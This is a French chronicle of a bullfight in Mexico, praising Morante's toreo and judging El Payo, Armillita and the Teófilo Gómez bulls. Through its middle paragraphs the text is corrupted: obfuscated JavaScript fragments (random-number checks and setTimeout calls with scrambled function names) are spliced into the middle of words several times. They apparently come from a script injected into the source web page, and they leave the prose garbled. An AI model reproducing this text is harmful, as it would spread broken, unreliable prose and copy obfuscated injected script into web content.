MORANTE DIT ET FAIT LE TOREO À MEXICO

Pas d’étincelle, de déchirement, de magie, quoique. Morante a fait et dit le toreo. C’est-à-dire qu’il a exécuté les suertes avec sincérité, profondeur et une géométrique perfection. Il a fait le toreo, il a appliqué ses règles les plus exigeantes et le disait, les chantait, et il s’en délectait avec sa diction. Comment ? Avec une profondeur sévillane, avec lenteur : les mains basses ou hautes, suivant ce qu’il convenait ; les pieds plantés dans l’arène, tout le temps ; embarquant la charge du taureau de loin, la muleta présentée avec engagement et la cape avec sagesse ; avançant la poitrine, le menton collé, enfoncé, la ceinture courbée au rythme de la charge, le leurre bercé et les poignets cassés.

Un miracle d’harmonie, le toreo devenu art, l’exception à la règle. Mais avec également du toreo au pas, à la recherche du terrain qui convenait au toro, et de la saveur à la fin des séries, alors que le toro le serrait, ou de l’abandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andon, quandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and il freinait sa charge. Des chicuelinas prodigieuses, retenant les charges avec la main intérieure car le toreo voulait partir. Un prodige aussi ses passes circulaires, architecturales. Tout comme ses naturelles, extrêmement pures. Et ses passes de poitrine, longues et achevées vers l’intérieur ou sinon courtes, maintenues par ses poignets, pincées, quandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and la charge allait s’arrêter.

Il fit une bonne faena à son premier mais il pincha. Et une grandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ande faena à son second, avec des passages au contenu dense et renouvelé, achevée avec une estocade défectueuse. Mais cela n’avait pas d’importance, comme du temps d’Antonio Bienvenida ou de Curro Romero quandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and ils réalisaient de grandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andes faenas. Deux oreilles et le délire dans les arènes.

Deux autres aurait pu couper El Payo, une à chaque toro. Mais il tua mal. J’ai aimé la qualité de son toreo. Fantastique à la cape à son second et très bien, courageux et intelligent à la muleta devant son premier. Deux toros incommodes et qu’il fallait aller chercher. Fermín Espinosa « Armillita » m’a déplu devant deux adversaires peu reluisants, le premier au trapio imprésentable et le second avec des charges hachées. Il conçoit toréer par l’extérieur et a le manque de maturité d’un novillero qui se cherche.

Les toros de Teófilo Gómez, mansos, nobles, sans force et avec peu de race. Avec du bétail comme ça, même des toreros comme Morante n’arrivent pas à remplir les arènes.

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